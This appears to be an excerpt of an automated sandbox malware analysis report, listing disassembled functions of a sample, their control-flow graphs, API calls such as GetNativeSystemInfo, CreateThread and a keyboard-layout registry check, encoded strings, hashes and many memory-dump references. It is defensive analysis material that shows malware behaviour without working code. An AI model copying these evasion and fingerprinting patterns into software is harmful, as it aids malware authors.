                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: EnumOpenValue
                                                                                                                                                                                                                                                                                    • String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
                                                                                                                                                                                                                                                                                    • API String ID: 2571532894-3963862150
                                                                                                                                                                                                                                                                                    • Opcode ID: 4e56e02e49ac32e13932a3c040bfe2fea3286e5e1e065978c02fba632711e6f4
                                                                                                                                                                                                                                                                                    • Instruction ID: 35969f9c19869339a894a9f701ffcfd9363c103ded3ec4d680492e299eb743ae
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4e56e02e49ac32e13932a3c040bfe2fea3286e5e1e065978c02fba632711e6f4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 51B1CF719002689BDB24DB64CC84BEEB779AF14340F5402D8E508EB291DB74AFE8CF95
                                                                                                                                                                                                                                                                                    Function 00157D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1748 157d30-157db2 call 1840f0 1752 158356-158373 call 16cff1 1748->1752 1753 157db8-157de0 call 167a00 call 155c10 1748->1753 1760 157de4-157e06 call 167a00 call 155c10 1753->1760 1761 157de2 1753->1761 1766 157e08 1760->1766 1767 157e0a-157e23 1760->1767 1761->1760 1766->1767 1770 157e25-157e34 1767->1770 1771 157e54-157e7f 1767->1771 1772 157e36-157e44 1770->1772 1773 157e4a-157e51 call 16d663 1770->1773 1774 157e81-157e90 1771->1774 1775 157eb0-157ed1 1771->1775 1772->1773 1776 158374 call 186c6a 1772->1776 1773->1771 1778 157ea6-157ead call 16d663 1774->1778 1779 157e92-157ea0 1774->1779 1780 157ed7-157edc 1775->1780 1781 157ed3-157ed5 GetNativeSystemInfo 1775->1781 1789 158379-15837f call 186c6a 1776->1789 1778->1775 1779->1776 1779->1778 1785 157edd-157ee6 1780->1785 1781->1785 1787 157f04-157f07 1785->1787 1788 157ee8-157eef 1785->1788 1793 1582f7-1582fa 1787->1793 1794 157f0d-157f16 1787->1794 1791 157ef5-157eff 1788->1791 1792 158351 1788->1792 1796 15834c 1791->1796 1792->1752 1793->1792 1799 1582fc-158305 1793->1799 1797 157f29-157f2c 1794->1797 1798 157f18-157f24 1794->1798 1796->1792 1801 1582d4-1582d6 1797->1801 1802 157f32-157f39 1797->1802 1798->1796 1803 158307-15830b 1799->1803 1804 15832c-15832f 1799->1804 1805 1582e4-1582e7 1801->1805 1806 1582d8-1582e2 1801->1806 1807 157f3f-157f9b call 167a00 call 155c10 call 167a00 call 155c10 call 155d50 1802->1807 1808 158019-1582bd call 167a00 call 155c10 call 167a00 call 155c10 call 155d50 call 167a00 call 155c10 call 155730 call 167a00 call 155c10 call 167a00 call 155c10 call 155d50 call 167a00 call 155c10 call 155730 call 167a00 call 155c10 call 167a00 call 155c10 call 155d50 call 167a00 call 155c10 call 155730 call 167a00 call 155c10 call 167a00 call 155c10 call 155d50 call 167a00 call 155c10 call 155730 1802->1808 1809 158320-15832a 1803->1809 1810 15830d-158312 1803->1810 1811 158331-15833b 1804->1811 1812 15833d-158349 1804->1812 1805->1792 1814 1582e9-1582f5 1805->1814 1806->1796 1833 157fa0-157fa7 1807->1833 1847 1582c3-1582cc 1808->1847 1809->1792 1810->1809 1816 158314-15831e 1810->1816 1811->1792 1812->1796 1814->1796 1816->1792 1835 157fa9 1833->1835 1836 157fab-157fcb call 188bbe 1833->1836 1835->1836 1842 158002-158004 1836->1842 1843 157fcd-157fdc 1836->1843 1842->1847 1848 15800a-158014 1842->1848 1845 157ff2-157fff call 16d663 1843->1845 1846 157fde-157fec 1843->1846 1845->1842 1846->1789 1846->1845 1847->1793 1851 1582ce 1847->1851 1848->1847 1851->1801
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00157ED3
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: InfoNativeSystem
                                                                                                                                                                                                                                                                                    • String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
                                                                                                                                                                                                                                                                                    • API String ID: 1721193555-3123340372
                                                                                                                                                                                                                                                                                    • Opcode ID: e264bf0d9ca018bbb78aa17683c8672f59a3cd00192312fd53d40b1e62615d22
                                                                                                                                                                                                                                                                                    • Instruction ID: 00ac7e4cb20be2eaf420ce50dcb524bfcf6076322ffe0f2c08ca62f24adfddf6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e264bf0d9ca018bbb78aa17683c8672f59a3cd00192312fd53d40b1e62615d22
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 99E10871E00654DBDB15BB68CC5B39D7B62AB51724F94028CE8256F3C2DB345F988BC2
                                                                                                                                                                                                                                                                                    Function 00191ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1902 191abc-191aec call 19180a 1905 191aee-191af9 call 1875e3 1902->1905 1906 191b07-191b13 call 18bf3a 1902->1906 1911 191afb-191b02 call 1875f6 1905->1911 1912 191b2c-191b75 call 191775 1906->1912 1913 191b15-191b2a call 1875e3 call 1875f6 1906->1913 1923 191de1-191de5 1911->1923 1921 191be2-191beb GetFileType 1912->1921 1922 191b77-191b80 1912->1922 1913->1911 1924 191bed-191c1e call 1875c0 1921->1924 1925 191c34-191c37 1921->1925 1927 191b82-191b86 1922->1927 1928 191bb7-191bdd call 1875c0 1922->1928 1924->1911 1950 191c24-191c2f call 1875f6 1924->1950 1930 191c39-191c3e 1925->1930 1931 191c40-191c46 1925->1931 1927->1928 1929 191b88-191bb5 call 191775 1927->1929 1928->1911 1929->1921 1929->1928 1934 191c4a-191c98 call 18be85 1930->1934 1931->1934 1936 191c48 1931->1936 1944 191c9a-191ca6 call 191984 1934->1944 1945 191cb7-191cdf call 191522 1934->1945 1936->1934 1944->1945 1952 191ca8 1944->1952 1954 191ce1-191ce2 1945->1954 1955 191ce4-191d25 1945->1955 1950->1911 1956 191caa-191cb2 call 18af48 1952->1956 1954->1956 1958 191d27-191d2b 1955->1958 1959 191d46-191d54 1955->1959 1956->1923 1958->1959 1963 191d2d-191d41 1958->1963 1960 191d5a-191d5e 1959->1960 1961 191ddf 1959->1961 1960->1961 1964 191d60-191d93 call 191775 1960->1964 1961->1923 1963->1959 1969 191d95-191dc1 call 1875c0 call 18c04d 1964->1969 1970 191dc7-191ddb 1964->1970 1969->1970 1970->1961
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00191775: CreateFileW.KERNEL32(00000000,00000000,?,00191B65,?,?,00000000,?,00191B65,00000000,0000000C), ref: 00191792
                                                                                                                                                                                                                                                                                    • __dosmaperr.LIBCMT ref: 00191BD7
                                                                                                                                                                                                                                                                                    • GetFileType.KERNEL32(00000000), ref: 00191BE3
                                                                                                                                                                                                                                                                                    • __dosmaperr.LIBCMT ref: 00191BF6
                                                                                                                                                                                                                                                                                    • __dosmaperr.LIBCMT ref: 00191D9C
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: __dosmaperr$File$CreateType
                                                                                                                                                                                                                                                                                    • String ID: H
                                                                                                                                                                                                                                                                                    • API String ID: 3443242726-2852464175
                                                                                                                                                                                                                                                                                    • Opcode ID: 534374891af27d6bacdbf43eddb9ad8427f310d6a08cd9963095356a8d27cef8
                                                                                                                                                                                                                                                                                    • Instruction ID: e0dfc935891197386cd85ada8867630f9a3bdc091bfcf28ecd6f38438bb743d3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 534374891af27d6bacdbf43eddb9ad8427f310d6a08cd9963095356a8d27cef8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 74A13932A4414A6FCF19EF68CC91BAD3BB1AB16324F240199F811AF3D1D7359D92CB51
                                                                                                                                                                                                                                                                                    Function 00157590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 2275 157590-1575e1 Sleep 2276 157661-1576d7 call 1680c0 * 3 CreateThread Sleep 2275->2276 2277 1575e3-1575f7 call 16d111 2275->2277 2290 157705-15771d 2276->2290 2291 1576d9-1576e5 2276->2291 2277->2276 2283 1575f9-15765e call 16d64e call 16d0c7 2277->2283 2283->2276 2295 157747-15775f 2290->2295 2296 15771f-15772b 2290->2296 2293 1576e7-1576f5 2291->2293 2294 1576fb-157702 call 16d663 2291->2294 2293->2294 2299 15779b-1577a0 call 186c6a 2293->2299 2294->2290 2297 157761-15776d 2295->2297 2298 157789-15779a 2295->2298 2301 15773d-157744 call 16d663 2296->2301 2302 15772d-15773b 2296->2302 2303 15777f-157786 call 16d663 2297->2303 2304 15776f-15777d 2297->2304 2301->2295 2302->2299 2302->2301 2303->2298 2304->2299 2304->2303
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,3251C7AA,?,00000000,00199138,000000FF), ref: 001575CC
                                                                                                                                                                                                                                                                                    • CreateThread.KERNEL32(00000000,00000000,00157430,001B8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001576BF
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001576C9
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0016D17B
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
